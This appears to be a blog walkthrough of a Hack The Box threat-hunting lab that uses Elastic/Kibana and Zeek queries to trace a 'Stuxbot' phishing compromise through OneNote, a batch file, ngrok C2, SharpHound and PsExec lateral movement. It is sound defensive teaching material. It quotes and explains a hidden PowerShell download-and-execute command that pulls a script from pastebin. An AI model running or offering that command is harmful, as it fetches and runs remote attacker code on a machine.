- Hunting For Stuxbot
- To start we are opening our VM and heading to HTB’s existing Elastic Stack at
http://[TargetIP]:5601- Heads up this can take a minute to spin up and you might face a no connection screen for few
- Once it’s up also head over to
http://[Target IP]:5601/app/management/kibana/settings- Here we want to swap our timezone to EU/Copenhagen
- The Task
- Our task centers around a threat intelligence report concerning a malicious software known as “Stuxbot”. We’re expected to use the provided Indicators of Compromise (IOCs) to investigate whether there are any signs of compromise in our organization
- The Hunt
- The sequence of hunting activities is premised on the hypothesis of a successful phishing email delivering a malicious OneNote file. If our hypothesis had been the successful execution of a binary with a hash matching one from the threat intelligence report, we would have undertaken a different sequence of activities
- Report Details:
- The report indicates that initial compromises all took place via “invoice.one” files
- We will also want to take a look at event.code: 15 (FileCreateStreamHash), which represents a browser file download even
- Inside Elastic head over to ‘Discover’ on the left hand side action bar
- The way I prefer to action the next steps is on the left hand side ‘search field names’
- I like this way because it shows total hits as you pull them up, giving you a heads up if you are pulling anything or possibly messed you search up and getting zero hits
- You can also build filters at the top
- Populate event.code: 15
- Populate file.name: Invoice.one
- The way I prefer to action the next steps is on the left hand side ‘search field names’
- Already we see our 3 hits could indicate a serious issue, lets dive further
- Expanding one of the hits and scrolling down to process.name we see msedge.exe
- Also process.executable
- Another very important marker, we see our “related.user” which is our employee: Bob
- With a timestamp to note: March 26, 2023 @ 20:05:47
- We will want to cross check into Event ID 11 now (File create) and the “invoice.one” file name. This is effective when a browser wasn’t the source of the download of a file
- You’ll notice the asterisk is at the end of the filename. This type of search is used to find all file names that start with a specific pattern. For example, report* will match any file name that starts with report, regardless of what comes after it (e.g., report2021.pdf, report_final.docx).
- The * how I think of it is prefix vs suffix, its checking for the name at different intervals based on where you put the marker
- Back to our results we have 1 hit
- Some additional information we can take away from this hit is:
- “host.hostname” : WS001
- This is our machine that reported the Invoice.one file
- “host.ip” : 192.168.28.130
- “host.hostname” : WS001
- The above can be confirmed by checking any network connection event (Sysmon Event ID 3) from this machine
- Go back to our KQL and use the following query: event.code:3 AND host.hostname:WS001
- On the left hand side pull the source.ip field and filter it by WS001 IP from above
- If we attempted to leverage further and try to look at event.code 3 (Network connection) we wouldn’t find anything from Sysmon. This is a common configuration to avoid capturing network connections created by browsers
- Zeek Query
- On our left hand side, lets drop down and move to Zeek
- Zeek logs can be ingested and queried to gain insights into network traffic, detect anomalies, and investigate security incidents
- Which we can use with our IP address we found above 192.168.28.130
- Lets go up and shoot our query: source.ip:192.168.28.130 AND dns.question.name:*
- This is going to create a lot of noise
- One way to filter the noise out is going on out left hand side and taking a look at “dns.question.name” which shows
- Here we can filter out the obvious stuff we don’t want to pull
- Let’s also update our date range to lower the number more
- And let’s add our “dns.question.name” as a column to our table
- Here we see what looks to be the file hosting site
- And further down we see email accessing happening
- Dropping into file.io we can see the dns.answers.data which is our returned IP from the file hosting site
- Now lets pivot and check for that destination IP using Zeek
- And lets add a few columns to our search
- source.ip (our machine that sent out the call to the destination)
- Destination.port (the port of the destination IP the call was made through)
- And lets add a few columns to our search
- This information all together confirms that a user, Bob, successfully downloaded the file “invoice.one” from the hosting provider “file.io”
- Now let’s continue to trace the sequence of events post the OneNote file download.
- Going back to our file, we know it was “Invoice.one” which means the OneNote application would have opened and been accessed
- Move back to Windows in Discovery
- Change our date to span last 15 years
- And pop our query into Elastic
- event.code:1 AND process.command_line:*invoice.one*
- Event code 1: is our process creation
- Searching with *invoice.one will match any term that ends with “invoice.one”. Our “ * “ is designating a suffix search
- event.code:1 AND process.command_line:*invoice.one*
- Ensure you remove your past filters like dns.question.name
- Here we found one hit confirming that OneNote DID open with a slight delay
- Its reasonable to assume at this point that with this confirmed that the opening of Invoice.one held a malicious file or link
- Moving forward we can begin checking for any actions where Onenote.exe acts as the parent process
- Let’s do a query search and see what we can find using:
- event.code:1 AND process.parent.name:”ONENOTE.EXE”
- We got 3 hits, with 2 of them falling within our timeline and the third falling outside of that
- Opening up our middle log we see Onenote.exe being executed from cmd.exe and opening our invoice.one file
- Up to this point we have now established that the email containing the invoice.one, when opened, downloaded a file and executed using cmd.exe which initiated our invoice.bat file.
- Now we ask: Has this batch script instigated anything?
- Let’s change our query and see what we can find:
- event.code:1 AND process.parent.command_line:*invoice.bat*
- Make sure to add our “process.name” to our columns as this will help us understand what is being executed
- Process.args which tells us what arguments were used
- And Process.PID to see the process ID associated with it
- We get one hit showing powershell being initiated and a very suspicious argument being used
- Breaking down the argument into a few pieces:
- powershell.exe: This is the executable for running PowerShell commands
- -nop: This stands for “No Profile”. It starts PowerShell without loading the user’s profile script. This is often used to speed up execution and avoid any custom configurations that might interfere
- -w hidden: This sets the window style to hidden, so no console window will be displayed when the script is run.
- -noni: This stands for “No Interactive”. It starts PowerShell without interactive input, which is useful for scripts that should run without user interaction
- -noexit: This option keeps the PowerShell window open after the script has finished executing. However, in this context, since the window is hidden, it might not have a noticeable effect
- iex: This is a shorthand for the Invoke-Expression cmdlet, which executes a string as a PowerShell command
- (iwr https://pastebin.com/raw/33Z1jP6J -usebasicparsing): This part of the command downloads the content from the specified URL using the Invoke-WebRequest cmdlet (iwr). The -usebasicparsing switch is used to avoid dependency on Internet Explorer components, which makes the command compatible with systems that don’t have IE installed or properly configured
- In summary, this command executes a PowerShell script fetched from a URL in a hidden, non-interactive PowerShell session without loading the user profile, and it keeps the session open after execution. This is often used for downloading and running scripts directly from the internet
- To figure out what PowerShell did, we can filter based on the process ID and name to get an overview of activities. Note that we have added the event.code field as a column.
- Change our query to:
- process.pid:”9944″ and process.name:”powershell.exe”
- Change our query to:
- Almost immediately we can see an output indicating file creation, attempted network connections, and some DNS resolutions leveraging Sysmon Event ID 22 (DNSEvent)
- Let’s add further columns to gain more insights
- file.path, dns.question.name, and destination.ip
- Ngrok was likely used as a Command and Control (C2) server to disguise malicious traffic directed to a recognized domain. Analysis of the DNS resolution for Ngrok reveals that the connections point to an IP address on port 443, suggesting that the traffic was encrypted
- If we look at the connections right above the NGRock DNS resolution we see that the destination.port of 443 was used. This implies the data was encrypted.
- The dropped EXE appears to be intended for persistence. Its unique name can help determine if it was ever executed. It’s crucial to consider the timestamps, as there is a noticeable gap between different activities. This suggests that it may not have been scripted but rather involved human interaction (unless random sleep intervals were used between actions). The final steps taken by this process include a DNS query for “DC1” and subsequent connections to it
- Let’s dive into that destination IP of 18.158.249.75 over in Zeek
- Intriguingly, the activity seems to have extended into the subsequent day. The reason for the termination of the activity is unclear… Was there a change in C2 IP? Or did the attack simply halt?
- Checking in on “ngrock” query we see that the IP changed as it moved into the next day
- It’s apparent that the network activity is sustaining and C2 has been accessed continually
- Earlier we saw a default.exe file, but we havent seen if its been executed. Let’s head back to windows discovery and change our query: process.name:”default.exe”
- Note that the process.name, process.args, event.code, file.path, destination.ip, and dns.question.name fields were added as columns
- We can see it did in fact execute and we see it has established connections to the C2
- Scrolling down a bit we see two uploaded files
- Sharphound.exe: is a recognized tool for diagramming Active Directory and identifying attack paths for escalation
- Svchost.exe: We aren’t sure if this is malicious. As this is a legitimate name for a windows operating system. However it could be mimicking the name
- Scrolling up a bit further we see this executable uploading another file called payload.exe
- A visual basic file
- And repeated uploads to svchost.exe
- Following similar steps, lets see if Sharphound executed
- You should see 4 hits and confirmation it did execute, roughly 2 mins between
- Looking back at default.exe we could also see an associated hash.sha256:
- Let’s change our query to broadly look at this hash
- Process.hash.sha256:018d37cbd3878258c29db3bc3f2988b6ae688843801b9abc28e6151141ab66d4
- Files with this hash value have been found on WS001 and PKI, indicating that the attacker has also breached the PKI server at a minimum. It also appears that a backdoor file has been placed under the profile of user “svc-sql1”, suggesting that this user’s account is likely compromised
- Upon examining the initial execution of “default.exe” on PKI, we observed that the parent process was “PSEXESVC,” a component of PSExec from SysInternals. PSExec is commonly used for executing commands remotely and is frequently employed for lateral movement during Active Directory breaches
- Further down the same log, we notice “svc-sql1” in the user.name field, confirming the compromise of this user
- We still don’t have an answer to how “svc-sql1” was compromised. It’s possible the password was brute forced. One area to check would be our original machine WS001. We can look for failed and successful password attempts that came from WS001 that wasn’t from our user Bob
- We will change our query to check:
- (event.code:4624 OR event.code:4625) AND winlog.event_data.LogonType:3 AND source.ip:192.168.28.130
- We will also remove “bob” and “ws001$” to avoid noise
- Remove our old columns and add
- Event.code : To look for 4624 and 4625 codes that shows for successful and failed attempts respectively
- Agent.hostname: to see the name of the machines
- User.name: to see what user is attempting the logins
- The findings are quite intriguing – there were two failed login attempts for the administrator account around the time the initial suspicious activity was observed. Following this, numerous successful logon attempts for “svc-sql1” were recorded. It seems there was an attempt to crack the administrator’s password that failed. However, two days later, on the 27th, we noticed successful login attempts using the “svc-sql1” account
- At this stage, we have amassed a significant amount of information to present and initiate a comprehensive incident response, in accordance with company policies
- On our left hand side, lets drop down and move to Zeek
- To start we are opening our VM and heading to HTB’s existing Elastic Stack at

Leave a comment